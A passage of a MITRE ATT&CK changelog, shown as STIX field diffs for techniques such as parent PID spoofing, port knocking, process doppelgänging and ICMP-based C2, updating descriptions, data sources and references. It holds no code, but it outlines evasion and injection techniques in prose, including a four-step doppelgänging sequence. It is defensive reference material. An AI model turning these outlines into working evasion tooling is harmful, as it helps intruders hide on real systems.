| > | sts; (Citation: Microsoft ICMP) however, it is not as common | > | ts.(Citation: Microsoft ICMP) However, it is not as commonly | ||
| > | ly monitored as other Internet Protocols such as TCP or UDP | > | monitored as other Internet Protocols such as TCP or UDP an | ||
| > | and may be used by adversaries to hide communications. | > | d may be used by adversaries to hide communications. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False | |
| x_mitre_network_requirements | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 19:41:49.412000+00:00 | 2022-02-17 15:38:54.578000+00:00 |
| description | Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications. | Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications. |
| x_mitre_data_sources[0] | Host network interface | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Network protocol analysis | |
| x_mitre_data_sources | Packet capture | |
| x_mitre_data_sources | Process use of network |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may spoof the parent process identifier (PPID) o | t | 1 | Adversaries may spoof the parent process identifier (PPID) o |
| > | f a new process to evade process-monitoring defenses or to e | > | f a new process to evade process-monitoring defenses or to e | ||
| > | levate privileges. New processes are typically spawned direc | > | levate privileges. New processes are typically spawned direc | ||
| > | tly from their parent, or calling, process unless explicitly | > | tly from their parent, or calling, process unless explicitly | ||
| > | specified. One way of explicitly assigning the PPID of a ne | > | specified. One way of explicitly assigning the PPID of a ne | ||
| > | w process is via the <code>CreateProcess</code> API call, wh | > | w process is via the <code>CreateProcess</code> API call, wh | ||
| > | ich supports a parameter that defines the PPID to use.(Citat | > | ich supports a parameter that defines the PPID to use.(Citat | ||
| > | ion: DidierStevens SelectMyParent Nov 2009) This functionali | > | ion: DidierStevens SelectMyParent Nov 2009) This functionali | ||
| > | ty is used by Windows features such as User Account Control | > | ty is used by Windows features such as User Account Control | ||
| > | (UAC) to correctly set the PPID after a requested elevated p | > | (UAC) to correctly set the PPID after a requested elevated p | ||
| > | rocess is spawned by SYSTEM (typically via <code>svchost.exe | > | rocess is spawned by SYSTEM (typically via <code>svchost.exe | ||
| > | </code> or <code>consent.exe</code>) rather than the current | > | </code> or <code>consent.exe</code>) rather than the current | ||
| > | user context.(Citation: Microsoft UAC Nov 2018) Adversarie | > | user context.(Citation: Microsoft UAC Nov 2018) Adversarie | ||
| > | s may abuse these mechanisms to evade defenses, such as thos | > | s may abuse these mechanisms to evade defenses, such as thos | ||
| > | e blocking processes spawning directly from Office documents | > | e blocking processes spawning directly from Office documents | ||
| > | , and analysis targeting unusual/potentially malicious paren | > | , and analysis targeting unusual/potentially malicious paren | ||
| > | t-child process relationships, such as spoofing the PPID of | > | t-child process relationships, such as spoofing the PPID of | ||
| > | [PowerShell](https://attack.mitre.org/techniques/T1086)/[Run | > | [PowerShell](https://attack.mitre.org/techniques/T1059/001)/ | ||
| > | dll32](https://attack.mitre.org/techniques/T1085) to be <cod | > | [Rundll32](https://attack.mitre.org/techniques/T1218/011) to | ||
| > | e>explorer.exe</code> rather than an Office document deliver | > | be <code>explorer.exe</code> rather than an Office document | ||
| > | ed as part of [Spearphishing Attachment](https://attack.mitr | > | delivered as part of [Spearphishing Attachment](https://att | ||
| > | e.org/techniques/T1566/001).(Citation: CounterCept PPID Spoo | > | ack.mitre.org/techniques/T1566/001).(Citation: CounterCept P | ||
| > | fing Dec 2018) This spoofing could be executed via [Visual B | > | PID Spoofing Dec 2018) This spoofing could be executed via [ | ||
| > | asic](https://attack.mitre.org/techniques/T1059/005) within | > | Visual Basic](https://attack.mitre.org/techniques/T1059/005) | ||
| > | a malicious Office document or any code that can perform [Na | > | within a malicious Office document or any code that can per | ||
| > | tive API](https://attack.mitre.org/techniques/T1106).(Citati | > | form [Native API](https://attack.mitre.org/techniques/T1106) | ||
| > | on: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept | > | .(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: Coun | ||
| > | PPID Spoofing Dec 2018) Explicitly assigning the PPID may a | > | terCept PPID Spoofing Dec 2018) Explicitly assigning the PP | ||
| > | lso enable elevated privileges given appropriate access righ | > | ID may also enable elevated privileges given appropriate acc | ||
| > | ts to the parent process. For example, an adversary in a pri | > | ess rights to the parent process. For example, an adversary | ||
| > | vileged user context (i.e. administrator) may spawn a new pr | > | in a privileged user context (i.e. administrator) may spawn | ||
| > | ocess and assign the parent as a process running as SYSTEM ( | > | a new process and assign the parent as a process running as | ||
| > | such as <code>lsass.exe</code>), causing the new process to | > | SYSTEM (such as <code>lsass.exe</code>), causing the new pro | ||
| > | be elevated via the inherited access token.(Citation: XPNSec | > | cess to be elevated via the inherited access token.(Citation | ||
| > | PPID Nov 2017) | > | : XPNSec PPID Nov 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-16 19:37:02.030000+00:00 | 2022-05-03 02:15:42.360000+00:00 |
| description | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) |
| external_references[1]['source_name'] | DidierStevens SelectMyParent Nov 2009 | XPNSec PPID Nov 2017 |
| external_references[1]['description'] | Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019. | Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019. |
| external_references[1]['url'] | https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/ | https://blog.xpnsec.com/becoming-system/ |
| external_references[2]['source_name'] | Microsoft UAC Nov 2018 | CounterCept PPID Spoofing Dec 2018 |
| external_references[2]['description'] | Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019. | Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019. |
| external_references[2]['url'] | https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works | https://www.countercept.com/blog/detecting-parent-pid-spoofing/ |
| external_references[3]['source_name'] | CounterCept PPID Spoofing Dec 2018 | Microsoft UAC Nov 2018 |
| external_references[3]['description'] | Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019. | Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019. |
| external_references[3]['url'] | https://www.countercept.com/blog/detecting-parent-pid-spoofing/ | https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works |
| external_references[4]['source_name'] | CTD PPID Spoofing Macro Mar 2019 | Microsoft Process Creation Flags May 2018 |
| external_references[4]['description'] | Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019. | Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019. |
| external_references[4]['url'] | https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/ | https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags |
| external_references[5]['source_name'] | XPNSec PPID Nov 2017 | Secuirtyinbits Ataware3 May 2019 |
| external_references[5]['description'] | Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019. | Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019. |
| external_references[5]['url'] | https://blog.xpnsec.com/becoming-system/ | https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3 |
| external_references[6]['source_name'] | Microsoft Process Creation Flags May 2018 | DidierStevens SelectMyParent Nov 2009 |
| external_references[6]['description'] | Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019. | Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019. |
| external_references[6]['url'] | https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags | https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/ |
| external_references[7]['source_name'] | Secuirtyinbits Ataware3 May 2019 | CTD PPID Spoofing Macro Mar 2019 |
| external_references[7]['description'] | Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019. | Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019. |
| external_references[7]['url'] | https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3 | https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/ |
| x_mitre_data_sources[0] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Metadata |
| x_mitre_data_sources[2] | Windows event logs | Process: Process Creation |
| x_mitre_defense_bypassed[1] | Host forensic analysis | Host Forensic Analysis |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:56:34.583000+00:00 | 2022-05-05 04:08:56.402000+00:00 |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | Process: Process Creation |
| x_mitre_defense_bypassed[0] | Application control | Application Control |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry: Windows Registry Key Modification | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use port knocking to hide open ports used fo | t | 1 | Adversaries may use port knocking to hide open ports used fo |
| > | r persistence or command and control. To enable a port, an a | > | r persistence or command and control. To enable a port, an a | ||
| > | dversary sends a series of attempted connections to a predef | > | dversary sends a series of attempted connections to a predef | ||
| > | ined sequence of closed ports. After the sequence is complet | > | ined sequence of closed ports. After the sequence is complet | ||
| > | ed, opening a port is often accomplished by the host based f | > | ed, opening a port is often accomplished by the host based f | ||
| > | irewall, but could also be implemented by custom software. | > | irewall, but could also be implemented by custom software. | ||
| > | This technique has been observed to both for the dynamic ope | > | This technique has been observed both for the dynamic openin | ||
| > | ning of a listening port as well as the initiating of a conn | > | g of a listening port as well as the initiating of a connect | ||
| > | ection to a listening server on a different system. The obs | > | ion to a listening server on a different system. The observ | ||
| > | ervation of the signal packets to trigger the communication | > | ation of the signal packets to trigger the communication can | ||
| > | can be conducted through different methods. One means, origi | > | be conducted through different methods. One means, original | ||
| > | nally implemented by Cd00r (Citation: Hartrell cd00r 2002), | > | ly implemented by Cd00r (Citation: Hartrell cd00r 2002), is | ||
| > | is to use the libpcap libraries to sniff for the packets in | > | to use the libpcap libraries to sniff for the packets in que | ||
| > | question. Another method leverages raw sockets, which enable | > | stion. Another method leverages raw sockets, which enables t | ||
| > | s the malware to use ports that are already open for use by | > | he malware to use ports that are already open for use by oth | ||
| > | other programs. | > | er programs. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 01:26:31.804000+00:00 | 2022-03-11 18:31:23.996000+00:00 |
| description | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Packet capture | Network Traffic: Network Connection Creation |
Current version: 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator', 'SYSTEM'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 16:35:54.740000+00:00 | 2022-04-19 02:50:42.074000+00:00 |
| external_references[1]['source_name'] | Wikipedia Booting | ITWorld Hard Disk Health Dec 2014 |
| external_references[1]['description'] | Wikipedia. (n.d.). Booting. Retrieved November 13, 2019. | Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018. |
| external_references[1]['url'] | https://en.wikipedia.org/wiki/Booting | https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html |
| external_references[2]['source_name'] | ITWorld Hard Disk Health Dec 2014 | Wikipedia Booting |
| external_references[2]['description'] | Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018. | Wikipedia. (n.d.). Booting. Retrieved November 13, 2019. |
| external_references[2]['url'] | https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html | https://en.wikipedia.org/wiki/Booting |
| x_mitre_data_sources[0] | VBR | Command: Command Execution |
| x_mitre_data_sources[1] | MBR | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Component firmware | Firmware: Firmware Modification |
| x_mitre_data_sources[3] | Process monitoring | Driver: Driver Metadata |
| x_mitre_data_sources[4] | Disk forensics | Drive: Drive Modification |
| x_mitre_data_sources[5] | EFI | Process: OS API Execution |
| x_mitre_detection | Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching. Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation. (Citation: ITWorld Hard Disk Health Dec 2014) | Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching. Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | macOS |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | BIOS | |
| x_mitre_data_sources | API monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into process via proce | t | 1 | Adversaries may inject malicious code into process via proce |
| > | ss doppelgänging in order to evade process-based defenses as | > | ss doppelgänging in order to evade process-based defenses as | ||
| > | well as possibly elevate privileges. Process doppelgänging | > | well as possibly elevate privileges. Process doppelgänging | ||
| > | is a method of executing arbitrary code in the address space | > | is a method of executing arbitrary code in the address space | ||
| > | of a separate live process. Windows Transactional NTFS (T | > | of a separate live process. Windows Transactional NTFS (T | ||
| > | xF) was introduced in Vista as a method to perform safe file | > | xF) was introduced in Vista as a method to perform safe file | ||
| > | operations. (Citation: Microsoft TxF) To ensure data integr | > | operations. (Citation: Microsoft TxF) To ensure data integr | ||
| > | ity, TxF enables only one transacted handle to write to a fi | > | ity, TxF enables only one transacted handle to write to a fi | ||
| > | le at a given time. Until the write handle transaction is te | > | le at a given time. Until the write handle transaction is te | ||
| > | rminated, all other handles are isolated from the writer and | > | rminated, all other handles are isolated from the writer and | ||
| > | may only read the committed version of the file that existe | > | may only read the committed version of the file that existe | ||
| > | d at the time the handle was opened. (Citation: Microsoft Ba | > | d at the time the handle was opened. (Citation: Microsoft Ba | ||
| > | sic TxF Concepts) To avoid corruption, TxF performs an autom | > | sic TxF Concepts) To avoid corruption, TxF performs an autom | ||
| > | atic rollback if the system or application fails during a wr | > | atic rollback if the system or application fails during a wr | ||
| > | ite transaction. (Citation: Microsoft Where to use TxF) Alt | > | ite transaction. (Citation: Microsoft Where to use TxF) Alt | ||
| > | hough deprecated, the TxF application programming interface | > | hough deprecated, the TxF application programming interface | ||
| > | (API) is still enabled as of Windows 10. (Citation: BlackHat | > | (API) is still enabled as of Windows 10. (Citation: BlackHat | ||
| > | Process Doppelgänging Dec 2017) Adversaries may abuse TxF | > | Process Doppelgänging Dec 2017) Adversaries may abuse TxF | ||
| > | to a perform a file-less variation of [Process Injection](ht | > | to a perform a file-less variation of [Process Injection](ht | ||
| > | tps://attack.mitre.org/techniques/T1055). Similar to [Proces | > | tps://attack.mitre.org/techniques/T1055). Similar to [Proces | ||
| > | s Hollowing](https://attack.mitre.org/techniques/T1093), pro | > | s Hollowing](https://attack.mitre.org/techniques/T1055/012), | ||
| > | cess doppelgänging involves replacing the memory of a legiti | > | process doppelgänging involves replacing the memory of a le | ||
| > | mate process, enabling the veiled execution of malicious cod | > | gitimate process, enabling the veiled execution of malicious | ||
| > | e that may evade defenses and detection. Process doppelgängi | > | code that may evade defenses and detection. Process doppelg | ||
| > | ng's use of TxF also avoids the use of highly-monitored API | > | änging's use of TxF also avoids the use of highly-monitored | ||
| > | functions such as <code>NtUnmapViewOfSection</code>, <code>V | > | API functions such as <code>NtUnmapViewOfSection</code>, <co | ||
| > | irtualProtectEx</code>, and <code>SetThreadContext</code>. ( | > | de>VirtualProtectEx</code>, and <code>SetThreadContext</code | ||
| > | Citation: BlackHat Process Doppelgänging Dec 2017) Process | > | >. (Citation: BlackHat Process Doppelgänging Dec 2017) Proc | ||
| > | Doppelgänging is implemented in 4 steps (Citation: BlackHat | > | ess Doppelgänging is implemented in 4 steps (Citation: Black | ||
| > | Process Doppelgänging Dec 2017): * Transact – Create a TxF | > | Hat Process Doppelgänging Dec 2017): * Transact – Create a | ||
| > | transaction using a legitimate executable then overwrite the | > | TxF transaction using a legitimate executable then overwrite | ||
| > | file with malicious code. These changes will be isolated an | > | the file with malicious code. These changes will be isolate | ||
| > | d only visible within the context of the transaction. * Load | > | d and only visible within the context of the transaction. * | ||
| > | – Create a shared section of memory and load the malicious | > | Load – Create a shared section of memory and load the malici | ||
| > | executable. * Rollback – Undo changes to original executable | > | ous executable. * Rollback – Undo changes to original execut | ||
| > | , effectively removing malicious code from the file system. | > | able, effectively removing malicious code from the file syst | ||
| > | * Animate – Create a process from the tainted section of mem | > | em. * Animate – Create a process from the tainted section of | ||
| > | ory and initiate execution. This behavior will likely not r | > | memory and initiate execution. This behavior will likely n | ||
| > | esult in elevated privileges since the injected process was | > | ot result in elevated privileges since the injected process | ||
| > | spawned from (and thus inherits the security context) of the | > | was spawned from (and thus inherits the security context) of | ||
| > | injecting process. However, execution via process doppelgän | > | the injecting process. However, execution via process doppe | ||
| > | ging may evade detection from security products since the ex | > | lgänging may evade detection from security products since th | ||
| > | ecution is masked under a legitimate process. | > | e execution is masked under a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:27:21.304000+00:00 | 2021-02-09 15:43:48.848000+00:00 |
| description | Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):
* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
* Load – Create a shared section of memory and load the malicious executable.
* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
* Animate – Create a process from the tainted section of memory and initiate execution.
This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):
* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
* Load – Create a shared section of memory and load the malicious executable.
* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
* Animate – Create a process from the tainted section of memory and initiate execution.
This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. |
| x_mitre_data_sources[0] | File monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 3.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 17:54:28.531000+00:00 | 2021-08-30 19:16:11.648000+00:00 |
| x_mitre_contributors[0] | Brian Prange | Jon Sheedy |
| x_mitre_data_sources[0] | SSL/TLS inspection | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[1] | Process use of network | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Process monitoring | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Packet capture |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may purchase techn | t | 1 | Adversaries may purchase technical information about victims |
| > | ical information about victims that can be used during targe | > | that can be used during targeting. Information about victim | ||
| > | ting. Information about victims may be available for purchas | > | s may be available for purchase within reputable private sou | ||
| > | e within reputable private sources and databases, such as pa | > | rces and databases, such as paid subscriptions to feeds of s | ||
| > | id subscriptions to feeds of scan databases or other data ag | > | can databases or other data aggregation services. Adversarie | ||
